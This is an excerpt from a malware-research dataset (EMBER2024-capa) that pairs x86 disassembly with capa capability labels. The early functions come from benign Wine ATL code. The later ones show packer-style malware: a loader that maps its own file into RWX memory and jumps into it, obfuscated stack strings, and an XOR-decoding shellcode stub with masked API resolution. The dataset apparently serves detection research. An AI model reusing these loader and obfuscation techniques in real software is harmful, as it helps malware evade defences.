joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008c70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x24
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
test byte [0x1000d03c], 8
jne 0x10008d20
mov dword [esp + 8], 5
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_FindResourceW]
sub esp, 0xc
test eax, eax
je 0x10008d10
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_LoadResource]
sub esp, 8
test eax, eax
je 0x10008d10
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_LockResource]
sub esp, 4
call sym._AX_ConvertDialogTemplate
mov esi, eax
test eax, eax
je 0x10008d10
mov eax, dword [ebp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 8], eax
call dword [sym.imp.user32.dll_DialogBoxIndirectParamW]
sub esp, 0x14
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_free]
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 0x14
lea esp, [ebp - 8]
xor ebx, ebx
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 0x14
test esi, esi
je 0x10008db8
mov eax, esi
shr eax, 0x10
je 0x10008da0
mov dword [esp + 4], 0xffffffff
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_IsBadStringPtrW]
mov edx, eax
sub esp, 8
mov eax, 0x1000fb48
test edx, edx
jne 0x10008d55
mov eax, esi
call sym._wine_dbgstr_wn.part.0.constprop.0
mov ecx, dword [ebp + 0x18]
mov dword [esp + 0x20], ecx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0x1c], edx
mov ecx, dword [ebp + 0x10]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], str.instance__p__name__s__owner__p__proc__p__param__Ix_n
mov dword [esp + 8], str.AtlAxDialogBoxW
mov dword [esp + 4], 0x1000d03c
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_2
jmp 0x10008c8b
mov dword [esp + 4], esi
mov dword [esp], 0x1000fb52
call sym._wine_dbg_sprintf_2
jmp 0x10008d55
mov eax, 0x1000fad4
jmp 0x10008d55
Function at 0x10008dc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x18], eax
mov eax, esi
shr eax, 0x10
je 0x10008ea8
mov ecx, dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x20], ecx
call ecx
mov edx, eax
sub esp, 0x18
lea eax, [eax + eax]
mov dword [ebp - 0x1c], edx
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll_malloc]
mov ebx, eax
test eax, eax
je 0x10008eb4
mov edx, dword [ebp - 0x1c]
mov dword [esp + 8], esi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 4], 0
mov dword [esp], 0
mov ecx, dword [ebp - 0x20]
call ecx
sub esp, 0x18
mov dword [esp + 0x10], edi
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym.atl.dll_AtlAxDialogBoxW
sub esp, 0x14
mov esi, eax
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_free]
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret 0x14
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
jmp sym.atl.dll_AtlAxDialogBoxW
xor esi, esi
jmp 0x10008e99
Function at 0x1000ad00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
push esi
mov esi, eax
push ebx
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], edx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
sub esp, 0xc
test eax, eax
je 0x1000ae70
mov ebx, eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [esp + 8], eax
call dword [sym.imp.kernel32.dll_FindResourceW]
sub esp, 0xc
test eax, eax
je 0x1000ae30
mov dword [esp + 4], eax
mov dword [ebp - 0x10], eax
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_LoadResource]
mov edx, dword [ebp - 0x10]
sub esp, 8
mov edi, eax
mov dword [esp + 4], edx
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_SizeofResource]
sub esp, 8
test edi, edi
je 0x1000aea0
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [ebp - 0x1c], eax
mov eax, dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x14], eax
call eax
sub esp, 0x18
lea ecx, [eax + 1]
mov dword [ebp - 0x10], eax
mov dword [esp], ecx
mov dword [esp + 4], 2
mov dword [ebp - 0x18], ecx
call dword [sym.imp.ucrtbase.dll_calloc]
mov ecx, dword [ebp - 0x18]
mov dword [esp + 0x14], ecx
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], eax
mov edx, dword [ebp - 0x1c]
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 4], 0
mov dword [esp], 0
mov ecx, dword [ebp - 0x14]
call ecx
mov edi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
xor eax, eax
mov ecx, dword [ebp + 0xc]
sub esp, 0x18
mov word [edi + edx*2], ax
mov edx, edi
mov eax, esi
call sym._string_register
mov dword [esp], edi
mov esi, eax
call dword [sym.imp.ucrtbase.dll_free]
jmp 0x1000ae53
test byte [0x1000d04c], 4
jne 0x1000aed8
mov eax, dword fs:[0x18]
mov esi, dword [eax + 0x34]
movzx eax, si
or eax, 0x80070000
test esi, esi
cmovg esi, eax
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov eax, esi
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
test byte [0x1000d04c], 4
jne 0x1000af08
mov eax, dword fs:[0x18]
mov esi, dword [eax + 0x34]
movzx eax, si
or eax, 0x80070000
test esi, esi
cmovg esi, eax
lea esp, [ebp - 0xc]
pop ebx
mov eax, esi
pop esi
pop edi
pop ebp
ret
test byte [0x1000d04c], 4
je 0x1000ae3d
mov dword [esp + 0xc], str.could_not_load_resource_n
mov dword [esp + 8], str.resource_register
mov dword [esp + 4], 0x1000d04c
mov dword [esp], 2
call sym._wine_dbg_log.constprop.0_3
jmp 0x1000ae3d
mov dword [esp + 0xc], str.Could_not_find_source_n
mov dword [esp + 8], str.resource_register
mov dword [esp + 4], 0x1000d04c
mov dword [esp], 2
call sym._wine_dbg_log.constprop.0_3
jmp 0x1000ae3d
mov dword [esp + 0xc], str.Could_not_load_resource_file_n
mov dword [esp + 8], str.resource_register
mov dword [esp + 4], 0x1000d04c
mov dword [esp], 2
call sym._wine_dbg_log.constprop.0_3
jmp 0x1000ae7d
Function at 0x1000bef0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x1000bf48
cmp byte [esi + ebx - 1], 0xa
je 0x1000bf1c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x1001d0a4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x1000c4f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xe0
mov edi, dword [0x1001d0b4]
mov esi, dword [ebp + 8]
test edi, edi
je 0x1000c6b0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dword [0x1001d0b4]
movzx eax, al
bt eax, esi
jae 0x1000c710
mov ecx, dword [0x1001d0a4]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], ecx
je 0x1000c5b5
test byte [0x1000d064], 8
jne 0x1000c650
lea ebx, [ebp - 0xd4]
mov edi, ebx
test byte [0x1000d074], 8
jne 0x1000c600
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call sym._sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x1000c584
cmp esi, 3
jbe 0x1000c5c0
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.ucrtbase.dll_strlen]
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0xe0
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x10017ca0]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x1000c584
mov ecx, dword [0x1001d0b4]
test ecx, ecx
je 0x1000c6f0
mov dword [esp], 0x1000d074
call dword [0x1001d0b4]
test al, 8
je 0x1000c55b
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call sym._sprintf
add edi, eax
jmp 0x1000c55b
mov ebx, dword [0x1001d0b4]
test ebx, ebx
je 0x1000c6d0
mov dword [esp], 0x1000d064
call dword [0x1001d0b4]
test al, 8
je 0x1000c546
call dword [sym.imp.kernel32.dll_GetTickCount]
lea ebx, [ebp - 0xd4]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mov eax, 0x10624dd3
mov dword [esp], ebx
mul ecx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call sym._sprintf
lea edi, [ebx + eax]
jmp 0x1000c54e
mov ecx, sym._fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x1001d0b4
call sym._load_func.part.0
jmp 0x1000c50d
mov ecx, sym._fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x1001d0b4
call sym._load_func.part.0
jmp 0x1000c65a
mov ecx, sym._fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x1001d0b4
call sym._load_func.part.0
jmp 0x1000c60e
mov eax, 0xffffffff
jmp 0x1000c5b5
Function at 0x1000c890
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
mov ebx, edx
sub esp, 0x214
mov eax, dword [0x1001d0c0]
test eax, eax
je 0x1000c948
mov dword [esp], ebx
call eax
mov dword [ebx + 8], eax
sub esp, 4
test eax, eax
jns 0x1000c8d0
mov eax, dword [ebx]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea edi, [ebp - 0x214]
mov dword [esp + 8], 0x104
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov eax, dword [ebx]
sub esp, 0xc
mov edx, dword [eax]
mov dword [esp + 8], edi
mov dword [esp + 4], str.MODULE
mov dword [esp], eax
call dword [edx + 0xc]
sub esp, 0xc
mov dword [esp + 8], 0x104
mov dword [esp + 4], edi
mov dword [esp], str.SystemRoot
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov eax, dword [ebx]
sub esp, 0xc
mov edx, dword [eax]
mov dword [esp + 8], edi
mov dword [esp + 4], str.SystemRoot
mov dword [esp], eax
call dword [edx + 0xc]
sub esp, 0xc
jmp 0x1000c8bc
mov dword [esp], str.atl100.dll
call dword [sym.imp.kernel32.dll_LoadLibraryW]
sub esp, 4
test eax, eax
je 0x1000c97d
mov dword [esp + 4], str.AtlCreateRegistrar
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x1001d0c0], eax
sub esp, 8
test eax, eax
jne 0x1000c8ad
mov dword [ebx + 8], 0x80004002
xor eax, eax
jmp 0x1000c8be
Function at 0x1000c990
Capabilities:
Access peb ldr_data
Extract resource via kernel32 functions
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], edi
mov dword [esp + 4], eax
call dword [sym.imp.kernel32.dll_FindResourceW]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [ebp - 0x10], eax
mov dword [esp], edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov edx, dword [ebp - 0x10]
sub esp, 8
mov ebx, eax
mov dword [esp + 4], edx
mov dword [esp], edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x10], eax
sub esp, 8
test ebx, ebx
je 0x1000cb11
mov eax, dword [esi]
test eax, eax
je 0x1000cb00
mov edx, dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
mov dword [ebp - 0x1c], edx
call edx
lea ecx, [eax + 1]
sub esp, 0x18
lea eax, [ecx + ecx]
mov dword [ebp - 0x18], ecx
mov ecx, eax
mov dword [ebp - 0x14], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
sub esp, 0xc
test eax, eax
mov edi, eax
je 0x1000cb15
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [esi + 4]
xor edx, edx
sub esp, 0x18
mov word [edi + eax - 2], dx
mov eax, dword [esi]
test ecx, ecx
mov edx, dword [eax]
mov dword [esp + 4], edi
mov dword [esp], eax
jne 0x1000caf8
call dword [edx + 0x28]
sub esp, 8
mov dword [esi + 8], eax
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esi + 8]
sub esp, 0xc
not eax
shr eax, 0x1f
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
call dword [edx + 0x24]
sub esp, 8
jmp 0x1000cab9
mov edx, esi
mov eax, edi
call sym._create_registrar
test eax, eax
jne 0x1000c9f6
xor eax, eax
jmp 0x1000cae8
mov dword [esi + 8], 0x8007000e
xor eax, eax
jmp 0x1000cae8
Function at 0x47be09
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
mov al, byte [ecx]
and dword [esp + 0x14], 0
push ebx
push ebp
mov byte [edx], al
lea eax, [edx + 1]
push esi
mov dword [esp + 0x18], eax
push edi
mov dword [esp + 0x14], edx
mov esi, dword [esp + 0x14]
lea eax, [ecx + 1]
xor edi, edi
xor ebp, ebp
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
call fcn.0047bdb2
test eax, eax
je 0x47bf62
lea ecx, [esp + 0x18]
call fcn.0047bdb2
lea ecx, [esp + 0x18]
test eax, eax
je 0x47bed1
call fcn.0047bdb2
test eax, eax
je 0x47be93
push 4
xor edi, edi
pop ebx
lea ecx, [esp + 0x18]
call fcn.0047bdb2
lea edi, [eax + edi*2]
dec ebx
jne 0x47be69
mov edx, dword [esp + 0x1c]
test edi, edi
je 0x47be8a
mov eax, edx
sub eax, edi
mov al, byte [eax]
mov byte [edx], al
jmp 0x47be8d
mov byte [edx], 0
inc edx
jmp 0x47bf74
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
movzx esi, byte [eax]
mov ecx, esi
and ecx, 1
inc eax
add ecx, 2
shr esi, 1
mov dword [esp + 0x18], eax
je 0x47bec9
test ecx, ecx
je 0x47bf5d
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x47bebb
jmp 0x47bf59
xor ebp, ebp
inc ebp
jmp 0x47bf5d
call fcn.0047bde8
test edi, edi
jne 0x47bf06
cmp eax, 2
jne 0x47bf01
lea ecx, [esp + 0x18]
call fcn.0047bde8
mov edx, dword [esp + 0x1c]
mov edi, eax
test edi, edi
je 0x47bf5d
mov ecx, edx
sub ecx, esi
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
dec edi
jne 0x47bef6
jmp 0x47bf59
sub eax, 3
jmp 0x47bf09
sub eax, 2
mov ecx, dword [esp + 0x18]
mov esi, eax
movzx eax, byte [ecx]
shl esi, 8
add esi, eax
inc ecx
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x18]
call fcn.0047bde8
mov ecx, eax
cmp esi, 0x7d00
jb 0x47bf30
inc ecx
cmp esi, 0x500
jb 0x47bf39
inc ecx
cmp esi, 0x80
jae 0x47bf44
add ecx, 2
mov edx, dword [esp + 0x1c]
test ecx, ecx
je 0x47bf5d
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x47bf50
mov dword [esp + 0x1c], edx
xor edi, edi
inc edi
jmp 0x47bf7a
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
mov dword [esp + 0x18], ecx
xor edi, edi
mov dword [esp + 0x1c], edx
test ebp, ebp
je 0x47be39
sub edx, dword [esp + 0x14]
pop edi
mov eax, edx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x47c0ff
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, edi
shr ebx, 2
and edi, 3
mov esi, ecx
test ebx, ebx
je 0x47c131
mov al, byte [esp + 0x14]
mov edx, dword [esi]
add al, bl
movzx ecx, al
mov eax, dword [esp + 0x10]
ror edx, cl
xor edx, eax
sub edx, ebx
mov dword [esi], edx
add esi, 4
dec ebx
jne 0x47c112
jmp 0x47c135
mov eax, dword [esp + 0x10]
test edi, edi
je 0x47c13f
xor byte [esi], al
inc esi
dec edi
jne 0x47c139
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x47c1e4
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
sub esp, 0x820
push ebx
push ebp
push esi
push edi
xor eax, eax
mov word [esp + 0x30], ax
push 0x400
xor edi, edi
lea eax, [esp + 0x34]
push eax
mov ebp, edi
mov ebx, edi
push edi
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x30]
push edi
push 0x8000000
push 3
push edi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x47c284
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
mov ecx, ebp
mov dword [esp + 0x14], ebp
call fcn.0047c46f
mov ebx, eax
push edi
lea eax, [esp + 0x30]
push eax
push ebp
push ebx
push esi
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x47c26a
cmp dword [esp + 0x2c], ebp
je 0x47c27d
mov ecx, ebx
call fcn.0047c45f
mov ebx, edi
mov dword [esp + 0x10], ebx
mov ebp, edi
mov dword [esp + 0x14], edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x1c]
push eax
push ecx
mov ecx, ebx
call fcn.0047c052
mov esi, dword [esp + 0x18]
push 0x40
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [esp + 0x20], eax
mov eax, dword [eax + 0x50]
mov dword [esp + 0x2c], eax
add eax, 0x14
push 0x3000
add eax, ebp
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [esp + 0x20], edi
test edi, edi
je 0x47c3db
push 0x40
mov edx, esi
mov ecx, edi
call fcn.0047c419
mov esi, dword [esp + 0x1c]
mov ecx, dword [edi + 0x3c]
movzx eax, word [esi + 0x14]
add ecx, edi
push eax
mov edx, esi
mov dword [esp + 0x28], ecx
jmp section..htext
mov ecx, esi
call fcn.0047c45f
mov ecx, ebx
call fcn.0047c45f
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x820
ret
Function at 0x40243b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push esi
push edi
push 0x6b
pop eax
push 0x65
mov word [ebp - 0x2c], ax
pop eax
push 0x72
mov word [ebp - 0x2a], ax
pop eax
push 0x6e
mov word [ebp - 0x28], ax
pop eax
push 0x65
mov word [ebp - 0x26], ax
pop eax
push 0x6c
mov word [ebp - 0x24], ax
pop eax
push 0x33
mov word [ebp - 0x22], ax
pop eax
push 0x32
mov word [ebp - 0x20], ax
pop eax
push 0x2e
mov word [ebp - 0x1e], ax
pop eax
push 0x64
mov word [ebp - 0x1c], ax
pop eax
mov word [ebp - 0x1a], ax
push 0x6c
pop eax
mov word [ebp - 0x18], ax
mov word [ebp - 0x16], ax
xor eax, eax
mov word [ebp - 0x14], ax
mov byte [ebp - 4], al
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x10], 0x54746547
mov dword [ebp - 0xc], 0x436b6369
mov dword [ebp - 8], 0x746e756f
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
jmp loc.0042d920
Function at 0x4142fd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x41430c
pop dword [ebp - 0x10]
mov eax, 0x39e07204
add eax, 0xc660d108
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xdac70416
sub dword [ebp - 0x20], 0x8c74becb
mov dword [ebp - 0x1c], 0x288b1c66
sub dword [ebp - 0x1c], 0xf657d021
mov dword [ebp - 0x18], 0xd78e2b6d
sub dword [ebp - 0x18], 0x8b41e73f
mov dword [ebp - 0x14], 0xff2f7bbf
add dword [ebp - 0x14], 0xd08441
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x3e65fc8a
sub dword [ebp - 0x20], 0xc9f39334
mov dword [ebp - 0x1c], 0x9c104092
add dword [ebp - 0x1c], 0xa55c20e3
mov dword [ebp - 0x18], 0x969e45b0
sub dword [ebp - 0x18], 0x332ed944
mov dword [ebp - 0x14], 0x3a4f6085
add dword [ebp - 0x14], 0xc5b09f7b
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x38ba8
push 0
call eax
mov ecx, 0x1a9d9bea
add ecx, 0xe562a1f0
xor edx, edx
add edx, eax
mov ebx, 0xceb84f3f
sub ebx, 0xce75973f
add ebx, dword [ebp - 0x10]
mov edi, 0x739683ac
add edi, 0x78f8285e
sub dword [ebp - 0xc], 0x322438e
mov esi, dword [ebx]
add dword [ebp - 0xc], esi
xor esi, edi
mov dword [ebp - 0xc], 0xefe7b3f2
mov dword [edx], esi
xor dword [ebp - 8], esi
add edx, 0xba6866db
add edx, 0x45979929
add ebx, 0xc35bf97f
sub ebx, 0xc35bf97b
loop 0x414426
add eax, 0xeca0ce77
add eax, 0x13601bc4
mov ebx, eax
add eax, 0xa0984fc2
add eax, 0x5f67b043
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret